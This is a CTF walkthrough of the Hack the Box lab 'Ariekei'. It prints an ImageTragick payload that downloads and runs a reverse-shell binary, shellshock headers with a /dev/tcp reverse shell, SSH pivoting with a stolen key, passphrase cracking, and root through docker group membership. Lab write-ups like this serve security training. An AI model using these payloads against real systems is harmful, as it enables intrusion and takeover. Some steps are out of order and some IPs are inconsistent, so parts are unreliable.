HTB – Ariekei

Today we are going to solve another CTF challenge “Ariekei” which is available online for those who want to increase their skill in penetration testing and black box testing. Ariekei is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Expert

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.65 so let’s begin with nmap port enumeration.

root@kali:~/htb/ariekei# nmap -sC -sV 10.10.10.65
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-16 21:20 CET
Nmap scan report for 10.10.10.65
Host is up (0.030s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 a7:5b:ae:65:93:ce:fb:dd:f9:6a:7f:de:50:67:f6:ec (RSA)
| 256 64:2c:a6:5e:96:ca:fb:10:05:82:36:ba:f0:c9:92:ef (ECDSA)
|_ 256 51:9f:87:64:be:99:35:2a:80:a6:a2:25:eb:e0:95:9f (ED25519)
443/tcp open ssl/https nginx/1.10.2
|_http-server-header: nginx/1.10.2
|_http-title: 400 The plain HTTP request was sent to HTTPS port
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_ http/1.1
| tls-nextprotoneg: 
|_ http/1.1
1022/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 1024 98:33:f6:b6:4c:18:f5:80:66:85:47:0c:f6:b7:90:7e (DSA)
| 2048 78:40:0d:1c:79:a1:45:d4:28:75:35:36:ed:42:4f:2d (RSA)
| 256 45:a6:71:96:df:62:b5:54:66:6b:91:7b:74:6a:db:b7 (ECDSA)
|_ 256 ad:8d:4d:69:8e:7a:fd:d8:cd:6e:c1:4f:6f:81:b4:1f (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 122.76 seconds

Now when we open the website we get a webpage that has a message on it saying it was maintenance.

Now we add the two domain names we found in the SSL certificate in /etc/hosts file for further enumeration.

When we open “calvin.ariekei.htb” we get an error message saying the requested url is not found.

Now when we open “beehive.ariekei.htb” we get the same under maintenance page as we did the first time we opened the target’s IP address in our browser.

Now we use dirb to enumerate the directories running on target nginx server. We also find that using either the IP address or the domain “beehive.arieki.htb” gives us identical results.

root@kali:~/htb/ariekei# dirb https://10.10.10.65/ -w

-----------------
DIRB v2.22 
By The Dark Raver
-----------------

START_TIME: Wed Jan 16 21:36:06 2019
URL_BASE: https://10.10.10.65/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Not Stopping on warning messages

-----------------

GENERATED WORDS: 4612

---- Scanning URL: https://10.10.10.65/ ----
+ https://10.10.10.65/.config (CODE:403|SIZE:1618) 
+ https://10.10.10.65/_vti_bin/_vti_adm/admin.dll (CODE:403|SIZE:1618)
+ https://10.10.10.65/_vti_bin/_vti_aut/author.dll (CODE:403|SIZE:1618)
+ https://10.10.10.65/_vti_bin/shtml.dll (CODE:403|SIZE:1618)
+ https://10.10.10.65/awstats.conf (CODE:403|SIZE:1618)
==> DIRECTORY: https://10.10.10.65/blog/
+ https://10.10.10.65/cgi-bin/ (CODE:403|SIZE:287) 
+ https://10.10.10.65/development.log (CODE:403|SIZE:1618)
+ https://10.10.10.65/global.asa (CODE:403|SIZE:1618) 
+ https://10.10.10.65/global.asax (CODE:403|SIZE:1618) 
+ https://10.10.10.65/index.html (CODE:200|SIZE:487) 
+ https://10.10.10.65/main.mdb (CODE:403|SIZE:1618) 
+ https://10.10.10.65/php.ini (CODE:403|SIZE:1618) 
+ https://10.10.10.65/production.log (CODE:403|SIZE:1618)
+ https://10.10.10.65/readfile (CODE:403|SIZE:1618) 
+ https://10.10.10.65/server-status (CODE:403|SIZE:292)
+ https://10.10.10.65/spamlog.log (CODE:403|SIZE:1618) 
+ https://10.10.10.65/thumbs.db (CODE:403|SIZE:1618) 
+ https://10.10.10.65/Thumbs.db (CODE:403|SIZE:1618) 
+ https://10.10.10.65/WS_FTP.LOG (CODE:403|SIZE:1618)

When we try to exploit this page using shellshock, we get an emoji which persists whenever we try to exploit it. This may mean there is web application firewall that protects the server from this attack.

root@kali:~/htb/ariekei# curl -k -H "User-Agent: () { ;: }; echo; echo; /usr/bin/whoami" https://beehive.ariekei.htb

Now we use dirb to scan the other domain on the target server as it was showing different pages when we opened it in our browser.

root@kali:~/htb/ariekei# dirb https://calvin.ariekei.htb/

-----------------
DIRB v2.22 
By The Dark Raver
-----------------

START_TIME: Wed Jan 16 21:42:04 2019
URL_BASE: https://calvin.ariekei.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: https://calvin.ariekei.htb/ ----
+ https://calvin.ariekei.htb/.config (CODE:403|SIZE:1618) 
+ https://calvin.ariekei.htb/_vti_bin/_vti_adm/admin.dll (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/_vti_bin/_vti_aut/author.dll (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/_vti_bin/shtml.dll (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/awstats.conf (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/development.log (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/global.asa (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/global.asax (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/main.mdb (CODE:403|SIZE:1618) 
+ https://calvin.ariekei.htb/php.ini (CODE:403|SIZE:1618) 
+ https://calvin.ariekei.htb/production.log (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/spamlog.log (CODE:403|SIZE:1618)
+ https://calvin.ariekei.htb/thumbs.db (CODE:403|SIZE:1618) 
+ https://calvin.ariekei.htb/Thumbs.db (CODE:403|SIZE:1618) 
+ https://calvin.ariekei.htb/upload (CODE:200|SIZE:1656) 
+ https://calvin.ariekei.htb/WS_FTP.LOG (CODE:403|SIZE:1618)

-----------------
END_TIME: Wed Jan 16 21:44:38 2019
DOWNLOADED: 4612 - FOUND: 16

Dirb scan shows us a directory named “upload/”, we open the link and find an upload page.

Upload any file and nothing appears to happen, we’re just redirected to a HTTP port of calvin.ariekei.htb/upload, although the title indicates that this is an image converter. Potentially it’s vulnerable to Imagetragick, one of the more famous exploits of the ImageMagick library that handled a substantial amount of the web’s image conversion code. I used one of the proof-of-concepts hosted here and adapted it to return myself a root shell.

For this you’ll want to generate an executable to return a shell. We can easily do this using msfvenom.

root@kali:~/htb/ariekei# msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.42 LPORT=443 -f elf -o shell.elf

We’ll then want to create our payload file, which I called exploit.mvg. All this does is inject a call to download our binary, make it executable and then execute it.

root@kali:~/htb/ariekei# cat exploit.mvg 
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|curl 10.10.14.12/shell.elf -o /tmp/shell.elf; chmod +x /tmp/shell.elf; /tmp/shell.elf; echo "rce1)'
pop graphic-context

We upload the file, place the executable on our local web server and set up a netcat listener. After a few seconds we’re returned a shell as…root?

We take a look at /proc/1/cgroup and find that we are inside a docker container.

Now we take a look at the mounted files, and find a directory called /common.

We open the “common/” directory and find a secret directory called “.secrets/”. We take a look inside the content of the directory and find files named “bastion_key” and “bastion_key.pub”.

We open the “bastion_key” file and we find a RSA key.

We copy the file into our system and save it as id_rsa, so that we can use it to login using ssh.

We change the permissions of the key, and login through ssh as root user using the RSA key.

root@kali:~/htb/ariekei# ssh root@10.10.10.65 -p 1022 -i id_rsa
Last login: Thu Jan 17 17:07:15 2019 from 10.10.14.12
root@ezra:~# cat /proc/1/cgroup
11:devices:/docker/7786500c3e80070a5a10cc475cdcba2d51fedacfb5e8190c0c96ddd972475109
10:memory:/docker/7786500c3e80070a5a10cc475cdcba2d51fedacfb5e8190c0c96ddd972475109
9:pids:/docker/7786500c3e80070a5a10cc475cdcba2d51fedacfb5e8190c0c96ddd972475109
8:cpuset:/docker/7786500c3e80070a5a10cc475cdcba2d51fedacfb5e8190c0c96ddd972475109
7:cpu,cpuacct:/docker/7786500c3e80070a5a10cc475cdcba2d51fedacfb5e8190c0c96ddd972475109
6:freezer:/docker/7786500c3e80070a5a10cc475cdcba2d51fedacfb5e8190c0c96ddd972475109
5:hugetlb:/docker/7786500c3e80070a5a10cc475cdcba2d51fedacfb5e8190c0c96ddd972475109
4:perf_event:/docker/7786500c3e80070a5a10cc475cdcba2d51fedacfb5e8190c0c96ddd972475109
3:blkio:/docker/7786500c3e80070a5a10cc475cdcba2d51fedacfb5e8190c0c96ddd972475109
2:net_cls,net_prio:/docker/7786500c3e80070a5a10cc475cdcba2d51fedacfb5e8190c0c96ddd972475109
1:name=systemd:/docker/7786500c3e80070a5a10cc475cdcba2d51fedacfb5e8190c0c96ddd972475109
root@ezra:~#

We check the /proc/1/cgroup file and find that we are still in docker container.

We again go to the “common/” directory, inside /containers/blog-test/ we find a few files and directories. One of the file contained a few bash commands and also root user password.

Enumerating the rest of the directories, inside /common/containers/waf-live/ we find the configuration files for the nginx server.

We look at the “nginx.conf” file and find that waf-live is running on port 443 and routing all traffic between the blog-test container and us. We also find that mod security is acting as the web application firewall.

Now during our dirb scan we found a directory called /cgi-bin/stats/ which could be vulnerable to shellshock but we were unable to exploit it because of the web application firewall. As the waf-live is routing traffic between us and blog-test on port 443 it is possible to exploit the shellshock vulnerability from inside the server.

We know the target ip to be 172.24.0.2 form the configuration file. We now need to find the IP address to docker system we are in.

we have gotten the network topology and it shows that we are logged into bastion-live docker machine which connects two networks. Now it also shows that calvin and beehive machines which are behind a firewall as we expected. For now we need to reach beehive host from the internal network because it don’t have internal firewall, thus we still can use the ShellShock vulnerability that we tried from bastion machine.

Local/Remote Port forward

However, there is a problem which is curl is not installed on the system and we don’t have internet access to install it. The idea that I got is now to do reverse shell to my Kali machine and do that internally from my machine.

We can also open local port 80 to forward to remote port 80 as following, both of them are working fine.

ShellShock exploit behind the Firewall

I have successfully did remote port forward to my machine via port 8003 that forward to port 80 on host 172.24.0.2.

root@ezra:# ~C
ssh> -L 8001:172.24.0.2:80
Forwarding port
root@ezra:#
root@kali:~/htb/ariekei# netstat -alnp | grep 8001
tcp        0      0 127.0.0.1:8001          0.0.0.0:*               LISTEN      2599/ssh            
tcp6       0      0 ::1:8001                :::*                    LISTEN      2599/ssh  
root@kali:~/htb/ariekei# curl 127.0.0.1:8001
root@kali:~/htb/ariekei# nc -lvnp 8003
TEST appearing 
root@ezra:# ~C
ssh> -R 8002:127.0.0.1:8003
Forwardng port.

Then, tried to execute the curl command to exploit the application to print Puck which is my name.

root@kali:~/htb/ariekei# curl -H "custom:() { ignored; }; echo; echo ; /bin/bash -c 'echo Puck'" localhost:8001/cgi-bin/stats

Puck
root@kali:~/htb/ariekei#

And finally receiving a reverse shell by executing the following command:

root@kali:~/htb/ariekei# wget -U "() { test;}; echo \"Content-Type: text/plain\"; echo; /bin/bash -i >&/dev/tcp/10.10.14.12/8003 0>&1" http://127.0.0.1:8001/cgi-bin/stats 
--2019-01-17 19:39:30-- http://127.0.0.1:8001/cgi-bin/stats
Connecting to 127.0.0.1:8001... connected.
HTTP request sent, awaiting response...

root@kali:~/htb/ariekei# nc -lvp 8003
listening on [any] 8003 ...
connect to [10.10.14.12] from calvin.ariekei.htb [10.10.10.65] 34858
www-data@beehive:/usr/lib/cgi-bin$

www-data@beehive:/usr/lib/cgi-bin$ su
su
Password: Ib3!kTEvYw6*P7s

root@beehive:/usr/lib/cgi-bin# 
www-data@beehive:/usr/lib/cgi-bin$ python -c "import pty; pty.spawn('/bin/bash')" 
<gi-bin$ python -c "import pty; pty.spawn('/bin/bash')" 
root@beehive:/home/spanishdancer# cat user.txt
cat user.txt
ff0*****f216

When we try to login through ssh using this key, we are asked for a passphrase. So we use john the ripper to crack the passphrase. We use the default wordlist of johntheripper and find the passphrase to be “purple1”.

After we get the passphrase we change the permission of RSA key file and login as user spanishdancer as it was inside the spanishdancer’s home directory.

Getting root flag – Privilege escalation

root@beehive:/home/spanishdancer/.ssh# ls
ls
authorized_keys id_rsa id_rsa.pub
root@beehive:/home/spanishdancer/.ssh# cat id_rsa
cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,C3EBD8120354A75E12588B11180E96D5

2UIvlsa0jCjxKXmQ4vVX6Ez0ak+6r5VuZFFoalVXvbZSLomIya4vYETv1Oq8EPeh
KHjq5wFdlYdOXqyJus7vFtB9nbCUrgH/a3og0/6e8TA46FuP1/sFMV67cdTlXfYI
Y4sGV/PS/uLm6/tcEpmGiVdcUJHpMECZvnx9aSa/kvuO5pNfdFvnQ4RVA8q/w6vN
p3pDI9CzdnkYmH5/+/QYFsvMk4t1HB5AKO5mRrc1x+QZBhtUDNVAaCu2mnZaSUhE
abZo0oMZHG8sETBJeQRnogPyAjwmAVFy5cDTLgag9HlFhb7MLgq0dgN+ytid9YA8
pqTtx8M98RDhVKqcVG3kzRFc/lJBFKa7YabTBaDoWryR0+6x+ywpaBGsUXEoz6hU
UvLWH134w8PGuR/Rja64s0ZojGYsnHIl05PIntvl9hinDNc0Y9QOmKde91NZFpcj
pDlNoISCc3ONnL4c7xgS5D2oOx+3l2MpxB+B9ua/UNJwccDdJUyoJEnRt59dH1g3
cXvb/zTEklwG/ZLed3hWUw/f71D9DZV+cnSlb9EBWHXvSJwqT1ycsvJRZTSRZeOF
Bh9auWqAHk2SZ61kcXOp+W91O2Wlni2MCeYjLuw6rLUHUcEnUq0zD9x6mRNLpzp3
IC8VFmW03ERheVM6Ilnr8HOcOQnPHgYM5iTM79X70kCWoibACDuEHz/nf6tuLGbv
N01CctfSE+JgoNIIdb4SHxTtbOvUtsayQmV8uqzHpCQ3FMfz6uRvl4ZVvNII/x8D
u+hRPtQ1690Eg9sWqu0Uo87/v6c/XJitNYzDUOmaivoIpL0RO6mu9AhXcBnqBu3h
oPSgeji9U7QJD64T8InvB7MchfaJb9W/VTECST3FzAFPhCe66ZRzRKZSgMwftTi5
hm17wPBuLjovOCM8QWp1i32IgcdrnZn2pBpt94v8/KMwdQyAOOVhkozBNS6Xza4P
18yUX3UiUEP9cmtz7bTRP5h5SlDzhprntaKRiFEHV5SS94Eri7Tylw4KBlkF8lSD
WZmJvAQc4FN+mhbaxagCadCf12+VVNrB3+vJKoUHgaRX+R4P8H3OTKwub1e69vnn
QhChPHmH9SrI2TNsP9NPT5geuTe0XPP3Og3TVzenG7DRrx4Age+0TrMShcMeJQ8D
s3kAiqHs5liGqTG96i1HeqkPms9dTC895Ke0jvIFkQgxPSB6y7oKi7VGs15vs1au
9T6xwBLJQSqMlPewvUUtvMQAdNu5eksupuqBMiJRUQvG9hD0jjXz8f5cCCdtu8NN
8Gu4jcZFmVvsbRCP8rQBKeqc/rqe0bhCtvuMhnl7rtyuIw2zAAqqluFs8zL6YrOw
lBLLZzo0vIfGXV42NBPgSJtc9XM3YSTjbdAk+yBNIK9GEVTbkO9GcMgVaBg5xt+6
uGE5dZmtyuGyD6lj1lKk8D7PbCHTBc9MMryKYnnWt7CuxFDV/Jp4fB+/DuPYL9YQ
8RrdIpShQKh189lo3dc6J00LmCUU5qEPLaM+AGFhpk99010rrZB/EHxmcI0ROh5T
1oSM+qvLUNfJKlvqdRQr50S1OjV+9WrmR0uEBNiNxt2PNZzY/Iv+p8uyU1+hOWcz
-----END RSA PRIVATE KEY-----
root@beehive:/home/spanishdancer/.ssh#

root@kali:~/htb/ariekei# chmod 600 key.txt
root@kali:~/htb/ariekei# ssh -i key.txt spanishdancer@10.10.10.65
Enter passphrase for key 'key.txt': purple1
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-87-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

7 packages can be updated.
7 updates are security updates.


Last login: Mon Nov 13 10:23:41 2017 from 10.10.14.2
spanishdancer@ariekei:~$ id
uid=1000(spanishdancer) gid=1000(spanishdancer) groups=1000(spanishdancer),999(docker)
spanishdancer@ariekei:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
waf-template latest 399c8876e9ae 16 months ago 628MB
bastion-template latest 0df894ef4624 16 months ago 251MB
web-template latest b2a8f8d3ef38 16 months ago 185MB
bash latest a66dc6cea720 16 months ago 12.8MB
convert-template latest e74161aded79 2 years ago 418MB
spanishdancer@ariekei:~$ docker run -v /:/hack -i -t bash
bash-4.4# cd /hack/root
bash-4.4# ls -la
total 40
drwx------ 3 root root 4096 Feb 11 2018 .
drwxr-xr-x 23 root root 4096 Sep 16 2017 ..
-rw-r--r-- 1 root root 3126 Sep 24 2017 .bashrc
drwx------ 2 root root 4096 Feb 11 2018 .cache
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root root 1024 Sep 24 2017 .rnd
-rw-r--r-- 1 root root 75 Sep 23 2017 .selected_editor
-rw------- 1 root root 7747 Feb 11 2018 .viminfo
-r-------- 1 root root 33 Sep 24 2017 root.txt
bash-4.4# cat root.txt
038*****70b
bash-4.4#

 

Author: Jacco Straathof

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